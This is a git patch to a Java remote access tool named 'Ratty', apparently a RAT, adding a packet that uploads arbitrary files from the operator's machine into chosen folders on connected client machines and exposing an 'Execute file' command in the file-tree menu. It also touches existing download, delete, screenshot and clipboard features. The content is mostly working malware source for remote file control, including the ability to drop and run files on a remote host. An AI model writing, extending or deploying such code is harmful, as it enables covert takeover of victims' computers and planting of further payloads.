From f822ed90660e9c0464b0141f16a8a4b05a6bfae4 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Mon, 1 Feb 2016 22:35:43 +0100 Subject: [PATCH] Major changes Added uploading --- Ratty/res/menu_icons_tree.png | Bin 600 -> 670 bytes .../de/sogomn/rat/packet/DownloadPacket.java | 11 ++-- .../sogomn/rat/packet/FileSystemPacket.java | 7 +- .../src/de/sogomn/rat/packet/PacketType.java | 3 +- .../de/sogomn/rat/packet/UploadPacket.java | 53 +++++++++++++++ .../sogomn/rat/server/gui/FileTreePanel.java | 62 +++++++++++------- .../rat/server/gui/RattyGuiController.java | 31 ++++++++- 7 files changed, 135 insertions(+), 32 deletions(-) create mode 100644 Ratty/src/de/sogomn/rat/packet/UploadPacket.java diff --git a/Ratty/res/menu_icons_tree.png b/Ratty/res/menu_icons_tree.png index 74fa881d0e62350df90f161334a76011a89c3049..45da8767d35a30d996fa95c0577ad738612355c1 100644 GIT binary patch delta 645 zcmV;00($+}1fB(uB!6W|L_t(|+U?viPQySD1yG9~3DHoe$N{JTi5r9)gn}Az6eJoB z;fjimiZdV~x?CXQ3PG|oMOKV=c6VlHZGTJC5X(%NYiOzWQ9-ljp z&ijo6z<8kD^@Av^PKb{C{Cz$e)(N5G-@NRO!fadsI01x-|9@Ja4Z(f&>2+-gY2vLR zxWt=50H85|*nv~`p9+99@#+u&XapcEJxc+|O}rWe0Gt8B6Um*drv{*vc=c}r0Gz)G zwG&?(z$)=>_Xz-~ba`r3a>B?3kT%We_0{(C-$+d~cN_rB4ZwS{)h?<-(eOFaY2L5GKa@hZr;tUG7rcZGSeS!7Zbgj{Ej>H5#!5A3iQe zqj-fJ02U5F5tf|Te$t2WF@P}cZ%>Z`080a~YJN!*ECu4ull~qiQW~*@t3d#uQ2=d_ z@VMM0%SE`q6d*T|004k4NbE)|we$c00KNdJm#th0N}YsJf&fqkz};$FH^*wJ&A1=s|TB!3@CL_t(|+U?pgPQx%1#_@<939&GD=mD4ji5rv~z`%?+3K9$F zU}9t93`mHr7pS;Gks^7hh2v+(&(9A3NN;JQIQ@RDoxF4ygxh+x+DmFs-mJ$DoyTDP z!2wVnXnT1tDy?yLMImiL0I*a5?aR clazz; diff --git a/Ratty/src/de/sogomn/rat/packet/UploadPacket.java b/Ratty/src/de/sogomn/rat/packet/UploadPacket.java new file mode 100644 index 0000000..8835b4e --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/UploadPacket.java @@ -0,0 +1,53 @@ +package de.sogomn.rat.packet; + +import java.io.File; + +import de.sogomn.engine.util.FileUtils; +import de.sogomn.rat.ActiveClient; + +public final class UploadPacket implements IPacket { + + private byte[] data; + private String folder, fileName; + + public UploadPacket(final String filePath, final String folder) { + this.folder = folder; + + final File file = new File(filePath); + + data = FileUtils.readExternalData(filePath); + fileName = file.getName(); + } + + public UploadPacket() { + folder = fileName = ""; + } + + @Override + public void send(final ActiveClient client) { + client.writeInt(data.length); + client.write(data); + client.writeUTF(folder); + client.writeUTF(fileName); + } + + @Override + public void receive(final ActiveClient client) { + final int length = client.readInt(); + + data = new byte[length]; + + client.read(data); + + folder = client.readUTF(); + fileName = client.readUTF(); + } + + @Override + public void execute(final ActiveClient client) { + final String path = folder + fileName; + + FileUtils.writeData(path, data); + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java index 44938a4..8eb8c39 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java @@ -6,6 +6,8 @@ import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.awt.image.BufferedImage; import java.io.File; +import java.util.stream.Collectors; +import java.util.stream.Stream; import javax.swing.Icon; import javax.swing.ImageIcon; @@ -16,6 +18,7 @@ import javax.swing.JPopupMenu; import javax.swing.JScrollPane; import javax.swing.JTree; import javax.swing.tree.DefaultMutableTreeNode; +import javax.swing.tree.DefaultTreeModel; import javax.swing.tree.TreeNode; import javax.swing.tree.TreePath; @@ -27,6 +30,7 @@ public final class FileTreePanel { private DefaultMutableTreeNode root; private JTree tree; + private DefaultTreeModel treeModel; private DefaultMutableTreeNode lastNodeClicked; private JScrollPane scrollPane; @@ -43,14 +47,15 @@ public final class FileTreePanel { public static final String REQUEST = "Show content"; public static final String DOWNLOAD = "Download file"; public static final String UPLOAD = "Upload file"; + public static final String EXECUTE = "Execute file"; public static final String DELETE = "Delete file"; - public static final String EXECUTE = "Execute file";//TODO Add public static final String NEW_FOLDER = "New folder"; public static final String[] COMMANDS = { REQUEST, DOWNLOAD, UPLOAD, + EXECUTE, DELETE, NEW_FOLDER }; @@ -59,6 +64,7 @@ public final class FileTreePanel { dialog = new JDialog(); root = new DefaultMutableTreeNode(ROOT_NAME); tree = new JTree(root); + treeModel = (DefaultTreeModel)tree.getModel(); scrollPane = new JScrollPane(tree, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); menu = new JPopupMenu(); @@ -132,7 +138,7 @@ public final class FileTreePanel { return children; } - private DefaultMutableTreeNode getByName(final DefaultMutableTreeNode node, final String name) { + private DefaultMutableTreeNode getChildByName(final DefaultMutableTreeNode node, final String name) { final DefaultMutableTreeNode[] children = getChildren(node); for (final DefaultMutableTreeNode child : children) { @@ -152,7 +158,7 @@ public final class FileTreePanel { } final String name = path[0]; - final DefaultMutableTreeNode node = getByName(start, name); + final DefaultMutableTreeNode node = getChildByName(start, name); if (path.length == 1 || node == null) { return node; @@ -171,12 +177,12 @@ public final class FileTreePanel { final String name = path[0]; - DefaultMutableTreeNode node = getByName(root, name); + DefaultMutableTreeNode node = getChildByName(root, name); if (node == null) { node = new DefaultMutableTreeNode(name); - root.add(node); + treeModel.insertNodeInto(node, root, 0); } final String[] remainingPath = new String[path.length - 1]; @@ -185,6 +191,20 @@ public final class FileTreePanel { addAll(node, remainingPath); } + private String getPath(final DefaultMutableTreeNode end) { + final TreeNode[] parents = end.getPath(); + + final String path = Stream + .of(parents) + .skip(1) + .map(node -> (DefaultMutableTreeNode)node) + .map(DefaultMutableTreeNode::getUserObject) + .map(object -> (String)object) + .collect(Collectors.joining(File.separator)) + File.separator; + + return path; + } + public void addFile(final String... path) { addAll(root, path); } @@ -199,7 +219,7 @@ public final class FileTreePanel { final DefaultMutableTreeNode node = getByName(root, path); if (node != null) { - node.removeFromParent(); + treeModel.removeNodeFromParent(node); } } @@ -209,10 +229,6 @@ public final class FileTreePanel { removeFile(pathParts); } - public void clear() { - root.removeAllChildren(); - } - public void setVisible(final boolean state) { dialog.setVisible(state); } @@ -230,23 +246,23 @@ public final class FileTreePanel { return ""; } - final TreeNode[] parents = lastNodeClicked.getPath(); - final StringBuilder stringBuilder = new StringBuilder(); + final String path = getPath(lastNodeClicked); - for (final TreeNode node : parents) { - final DefaultMutableTreeNode parent = (DefaultMutableTreeNode)node; - final String name = (String)parent.getUserObject(); - - stringBuilder.append(name + File.separator); - } - - final String path = stringBuilder.toString(); + return path; + } + + public String getLastNodeClickedFolder() { + final String path; - if (path.startsWith(ROOT_NAME + File.separator)) { - return path.substring(ROOT_NAME.length() + 1); + if (!lastNodeClicked.isLeaf()) { + path = getPath(lastNodeClicked); } else { - return path; + final DefaultMutableTreeNode parent = (DefaultMutableTreeNode)lastNodeClicked.getParent(); + + path = getPath(parent); } + + return path; } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 9a69ce6..599c382 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -1,8 +1,11 @@ package de.sogomn.rat.server.gui; import java.awt.image.BufferedImage; +import java.io.File; import java.util.ArrayList; +import javax.swing.JFileChooser; + import de.sogomn.rat.ActiveClient; import de.sogomn.rat.IClientObserver; import de.sogomn.rat.packet.ClipboardPacket; @@ -15,6 +18,7 @@ import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.InformationPacket; import de.sogomn.rat.packet.PopupPacket; import de.sogomn.rat.packet.ScreenshotPacket; +import de.sogomn.rat.packet.UploadPacket; import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.IServerObserver; import de.sogomn.rat.util.FrameEncoder.IFrame; @@ -22,6 +26,7 @@ import de.sogomn.rat.util.FrameEncoder.IFrame; public final class RattyGuiController implements IServerObserver, IClientObserver, IGuiController { private RattyGui gui; + private JFileChooser fileChooser; private ArrayList clients; private long nextId; @@ -29,6 +34,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve public RattyGuiController(final RattyGui gui) { this.gui = gui; + fileChooser = new JFileChooser(); clients = new ArrayList(); gui.setController(this); @@ -54,6 +60,16 @@ public final class RattyGuiController implements IServerObserver, IClientObserve return null; } + private File chooseFile() { + final int input = fileChooser.showOpenDialog(null); + + if (input == JFileChooser.APPROVE_OPTION) { + return fileChooser.getSelectedFile(); + } + + return null; + } + private IPacket getPacket(final String command, final ServerClient serverClient) { if (command == RattyGui.POPUP) { return PopupPacket.create(); @@ -72,6 +88,8 @@ public final class RattyGuiController implements IServerObserver, IClientObserve final String path = treePanel.getLastPathClicked(); final FileSystemPacket packet = new FileSystemPacket(path); + treePanel.removeFile(path); + return packet; } else if (command == FileTreePanel.DOWNLOAD) { final FileTreePanel treePanel = serverClient.getTreePanel(); @@ -79,6 +97,17 @@ public final class RattyGuiController implements IServerObserver, IClientObserve final DownloadPacket packet = new DownloadPacket(path); return packet; + } else if (command == FileTreePanel.UPLOAD) { + final File file = chooseFile(); + + if (file != null) { + final String localPath = file.getAbsolutePath(); + final FileTreePanel treePanel = serverClient.getTreePanel(); + final String path = treePanel.getLastNodeClickedFolder(); + final UploadPacket packet = new UploadPacket(localPath, path); + + return packet; + } } return null; @@ -103,8 +132,8 @@ public final class RattyGuiController implements IServerObserver, IClientObserve } private void handle(final ServerClient serverClient, final FileSystemPacket packet) { - final String[] paths = packet.getPaths(); final FileTreePanel treePanel = serverClient.getTreePanel(); + final String[] paths = packet.getPaths(); for (final String path : paths) { treePanel.addFile(path);